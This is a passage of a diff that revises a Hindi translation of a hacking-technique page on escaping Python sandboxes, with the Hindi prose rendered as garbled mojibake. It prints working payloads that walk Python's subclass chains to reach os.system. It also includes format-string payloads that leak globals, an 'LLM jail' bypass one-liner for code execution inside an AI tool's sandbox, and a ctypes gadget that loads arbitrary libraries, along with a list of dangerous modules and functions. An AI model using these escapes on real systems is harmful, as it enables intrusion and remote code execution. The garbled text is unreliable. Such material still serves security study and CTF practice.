str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` -рд╣рдо рд╡рд╣реА рдХрд╛рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **other libraries** рдХреЗ рд╕рд╛рде рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ **execute commands** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рд╣рдо рд╡рд╣реА рдХрд╛рдо **other libraries** рдХреЗ рд╕рд╛рде рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ **execute commands** рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") @@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ **рдЕрдиреНрдп рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝** рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд░ рд╕рдХрддреА рд╣реИрдВ**, рддреЛ рд╣рдо рд╕рдВрднрд╛рд╡рд┐рдд рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рдХреЗ рдЕрдВрджрд░ **рдлрд╝рдВрдХреНрд╢рди рдирд╛рдореЛрдВ** рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднреА рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ **other libraries** рд╕рдВрднрд╡рддрдГ **invoke functions to execute commands** рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рддреЛ рд╣рдо рд╕рдВрднрд╛рд╡рд┐рдд libraries рдХреЗ рдЕрдВрджрд░ рднреА **filter by functions names** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -543,10 +544,10 @@ execute: __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` -## Builtins, Globals рдХреА Recursive рдЦреЛрдЬ... +## Builtins, Globals... рдХреА рдкреБрдирд░рд╛рд╡рд░реНрддреА рдЦреЛрдЬ > [!WARNING] -> рдпрд╣ рд╡рд╛рдХрдИ **рд╢рд╛рдирджрд╛рд░** рд╣реИред рдЕрдЧрд░ рдЖрдк **globals, builtins, open рдЬреИрд╕реЗ рдХрд┐рд╕реА object рдХреА рддрд▓рд╛рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ** рддреЛ рдмрд╕ рдЗрд╕ script рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЙрд╕ object рдХреЛ рдЦреЛрдЬрдиреЗ рд╡рд╛рд▓реА рдЬрдЧрд╣реЛрдВ рдХреЛ **рдкреБрдирд░рд╛рд╡рд░реНрддреА рд░реВрдк рд╕реЗ рдвреВрдБрдв рд╕рдХреЗрдВред** +> рдпрд╣ рдмрд╕ **рд╢рд╛рдирджрд╛рд░** рд╣реИред рдЕрдЧрд░ рдЖрдк **globals, builtins, open рдпрд╛ рдХрд┐рд╕реА рднреА рдЕрдиреНрдп рдЬреИрд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рддрд▓рд╛рд╢ рдореЗрдВ рд╣реИрдВ** рддреЛ рдмрд╕ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЙрд╕ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ **рдкреБрдирд░рд╛рд╡рд░реНрддреА рд░реВрдк рд╕реЗ рдвреВрдБрдврдиреЗ рд╡рд╛рд▓реЗ рд╕реНрдерд╛рдиреЛрдВ рдХреЛ рдЦреЛрдЬ рд╕рдХреЗрдВред** ```python import os, sys # Import these to find more gadgets @@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and- ## Python Format String -рдпрджрд┐ рдЖрдк python рдХреЛ рдПрдХ **string** рднреЗрдЬрддреЗ рд╣реИрдВ рдЬреЛ **formatted** рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣реИ, рддреЛ рдЖрдк `{}` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **python internal information** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ globals рдпрд╛ builtins рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдпрджрд┐ рдЖрдк python рдХреЛ рдРрд╕реА **string** **рднреЗрдЬрддреЗ рд╣реИрдВ** рдЬрд┐рд╕реЗ **formatted** рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИ, рддреЛ рдЖрдк `{}` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **python internal information** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ globals рдпрд╛ builtins рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -691,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ **access attributes** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ **dot** рд╕реЗ рдЬреИрд╕реЗ `people_obj.__init__` рдФрд░ **dict element** рдХреЛ **parenthesis** рдХреЗ рд╕рд╛рде рдмрд┐рдирд╛ quotes рдХреЗ `__globals__[CONFIG]` +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ **attributes рдХреЛ dot рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕реЗрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ `people_obj.__init__` рдФрд░ **dict element рдХреЛ parenthesis рдореЗрдВ рдмрд┐рдирд╛ quotes** `__globals__[CONFIG]` -рд╕рд╛рде рд╣реА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк `.__dict__` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА object рдХреЗ рддрддреНрд╡реЛрдВ рдХреЛ enumerate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` +рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк `.__dict__` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ elements рдХреЛ enumerate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` -format strings рдХреА рдХреБрдЫ рдЕрдиреНрдп рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдпрд╣ рд╣реИрдВ рдХрд┐ рдЖрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ object рдкрд░ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **functions** **`str`**, **`repr`** рдФрд░ **`ascii`** рдХреЛ рдХреНрд░рдорд╢рдГ **`!s`**, **`!r`**, **`!a`** рдЬреЛрдбрд╝рдХрд░: +format strings рдХреА рдХреБрдЫ рдЕрдиреНрдп рд░реЛрдЪрдХ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рдпрд╣ рд╣реИрдВ рдХрд┐ рдЖрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ **`str`**, **`repr`** рдФрд░ **`ascii`** рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдХреНрд░рдорд╢рдГ **`!s`**, **`!r`**, **`!a`** рдЬреЛрдбрд╝рдХрд░ **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреНрд▓рд╛рд╕реЗрд╕ рдореЗрдВ **code new formatters** рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ: +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, classes рдореЗрдВ **code new formatters** рдмрдирд╛рдирд╛ рд╕рдВрднрд╡ рд╣реИ: ```python class HAL9000(object): def __format__(self, format): @@ -711,17 +712,17 @@ return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` -**рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдг** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ **format** **string** рдЙрджрд╛рд╣рд░рдг [**https://pyformat.info/**](https://pyformat.info) +**рдЕрдзрд┐рдХ рдЙрджрд╛рд╣рд░рдг** **format** **string** рдХреЗ рдЙрджрд╛рд╣рд░рдг [**https://pyformat.info/**](https://pyformat.info) рдкрд░ рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ > [!CAUTION] -> рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рднреА рджреЗрдЦреЗрдВ рдЙрди gadgets рдХреЗ рд▓рд┐рдП рдЬреЛ r**Python internal objects рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝реЗрдВрдЧреЗ**: +> рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрдЬ рднреА рдЪреЗрдХ рдХрд░реЗрдВ рдЙрди gadgets рдХреЗ рд▓рд┐рдП рдЬреЛ r**ead sensitive information from Python internal objects**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} -### рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ Payloads +### рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯреАрдХрд░рдг Payloads ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} @@ -739,20 +740,20 @@ str(x) # Out: clueless ``` ### LLM Jails bypass -рдпрд╣рд╛рдБ рд╕реЗ [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` +рд╕реНрд░реЛрдд: [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### From format to RCE loading libraries -According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ python рдореЗрдВ format string vulnerability рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рд╕реНрдХ рд╕реЗ arbitrary libraries рдХреЛ load рдХрд┐рдпрд╛ рдЬрд╛рдПред +[**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) рдХреЗ рдЕрдиреБрд╕рд╛рд░, format string vulnerability рдХрд╛ abusing рдХрд░рдХреЗ python рдореЗрдВ disk рд╕реЗ arbitrary libraries рдХреЛ load рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред -рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рд░ рдмрд╛рд░ рдЬрдм python рдореЗрдВ рдХреЛрдИ action рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдХреЛрдИ рди рдХреЛрдИ function execute рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `2*3` execute рдХрд░реЗрдЧрд╛ **`(2).mul(3)`** рдпрд╛ **`{'a':'b'}['a']`** рд╣реЛрдЧрд╛ **`{'a':'b'}.__getitem__('a')`**ред +рдпрд╛рдж рд░рдЦреЗрдВ, рдЬрдм рднреА python рдореЗрдВ рдХреЛрдИ action perform рд╣реЛрддрд╛ рд╣реИ рддреЛ рдХреЛрдИ рди рдХреЛрдИ function execute рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП `2*3` execute рдХрд░реЗрдЧрд╛ **`(2).mul(3)`** рдпрд╛ **`{'a':'b'}['a']`** execute рд╣реЛрдЧрд╛ **`{'a':'b'}.__getitem__('a')`**ред -рдРрд╕реЗ рдФрд░ рдЙрджрд╛рд╣рд░рдг рдЖрдк рд╕реЗрдХреНрд╢рди [**Python execution without calls**](#python-execution-without-calls) рдореЗрдВ рдкрд╛рдПрдВрдЧреЗред +рдРрд╕реА рдФрд░ рдЪреАрдЬрд╝реЗрдВ рдЖрдк рд╕реЗрдХреНрд╢рди [**Python execution without calls**](#python-execution-without-calls) рдореЗрдВ рдкрд╛рдПрдВрдЧреЗред -рдПрдХ python format string vuln function рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ (рдпрд╣ parenthesis рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛), рдЗрд╕рд▓рд┐рдП `'{0.system("/bin/sh")}'.format(os)` рдЬреИрд╕реЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред\ -рд╣рд╛рд▓рд╛рдБрдХрд┐, `[]` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ common python library рдореЗрдВ рдРрд╕рд╛ **`__getitem__`** рдпрд╛ **`__getattr__`** method рд╣реИ рдЬреЛ arbitrary code execute рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдПрдХ python format string vuln function рдХреЛ execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ (рдпрд╣ parenthesis рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛), рдЗрд╕рд▓рд┐рдП `'{0.system("/bin/sh")}'.format(os)` рдЬреИрд╕рд╛ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ.\ +рд╣рд╛рд▓рд╛рдБрдХрд┐, `[]` рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрднрд╡ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдХреЛрдИ рд╕рд╛рдорд╛рдиреНрдп python library рдореЗрдВ рдРрд╕рд╛ **`__getitem__`** рдпрд╛ **`__getattr__`** method рд╣реИ рдЬреЛ arbitrary code execute рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрдиреНрд╣реЗрдВ abuse рдХрд░рдХреЗ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред -python рдореЗрдВ рдРрд╕реЗ gadget рдХреА рддрд▓рд╛рд╢ рдХрд░рддреЗ рд╣реБрдП, writeup рдЗрд╕ [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдХрд░рддрд╛ рд╣реИред рдЬрд╣рд╛рдБ рдЙрд╕рдиреЗ рдпрд╣ [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) рдкрд╛рдпрд╛: +python рдореЗрдВ рдРрд╕реЗ gadget рдХреА рддрд▓рд╛рд╢ рдореЗрдВ, writeup рдЗрд╕ [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) рдХрд╛ рд╕реБрдЭрд╛рд╡ рджреЗрддрд╛ рд╣реИред рдЬрд╣рд╛рдБ рдЙрд╕рдиреЗ рдпрд╣ [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) рдкрд╛рдпрд╛: ```python class LibraryLoader(object): def __init__(self, dlltype): @@ -774,20 +775,20 @@ return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` -рдпрд╣ gadget рдбрд┐рд╕реНрдХ рд╕реЗ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рдХрд░рдирд╛** рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрдВрдкрд╛рдЗрд▓ рдХреА рд╣реБрдИ **рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рд▓рд┐рдЦрдирд╛ рдпрд╛ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛** рдЬрд░реВрд░реА рд╣реИ, рддрд╛рдХрд┐ рд╡рд╣ рд▓рдХреНрд╖рд┐рдд рд╕рд░реНрд╡рд░ рдкрд░ рд▓реЛрдб рд╣реЛ рд╕рдХреЗред +рдпрд╣ gadget **load a library from disk** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рддрд░рд╣ рдпрд╣ рдЬрд╝рд░реВрд░реА рд╣реИ рдХрд┐ рдЙрд╕ library рдХреЛ рдЬрд┐рд╕реЗ load рдХрд░рдирд╛ рд╣реИ, correctly compiled рдХрд░рдХреЗ attacked server рдкрд░ **write or upload the library to load** рдХрд┐рдпрд╛ рдЬрд╛рдПред ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -рдпрд╣ challenge рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рдЕрдиреНрдп vulnerability рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдХреА disk рдкрд░ arbitrary files рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред +The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. ## Python Objects рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг > [!TIP] -> рдпрджрд┐ рдЖрдк **python bytecode** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ **рдЬрд╛рдирдирд╛** рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЗрд╕ рд╡рд┐рд╖рдп рдкрд░ рдпрд╣ **рдмреЗрд╣рддрд░реАрди** рдкреЛрд╕реНрдЯ рдкрдврд╝реЗрдВ: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) +> рдпрджрд┐ рдЖрдк **python bytecode** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рд╕реАрдЦрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЗрд╕ **рдЙрддреНрдХреГрд╖реНрдЯ** рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) -рдХреБрдЫ CTFs рдореЗрдВ рдЖрдкрдХреЛ рдЙрд╕ **custom function where the flag** рдХрд╛ рдирд╛рдо рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЛ рдЙрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП **internals** of the **function** рдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ред +рдХреБрдЫ CTFs рдореЗрдВ рдЖрдкрдХреЛ **custom function where the flag** рдХрд╛ рдирд╛рдо рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ extract рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд╕ **function** рдХреЗ **internals** рдХреЛ рджреЗрдЦрдирд╛ рд╣реЛрдЧрд╛ред -рдпрд╣ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП function рд╣реИ: +рдпрд╣ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рдпрд╛ рдЧрдпрд╛ function рд╣реИ: ```python def get_flag(some_input): var1=1 @@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function ``` #### globals -`__globals__` рдФрд░ `func_globals` (рдПрдХ рд╣реА) рд╡реИрд╢реНрд╡рд┐рдХ рд╡рд╛рддрд╛рд╡рд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдореЗрдВ 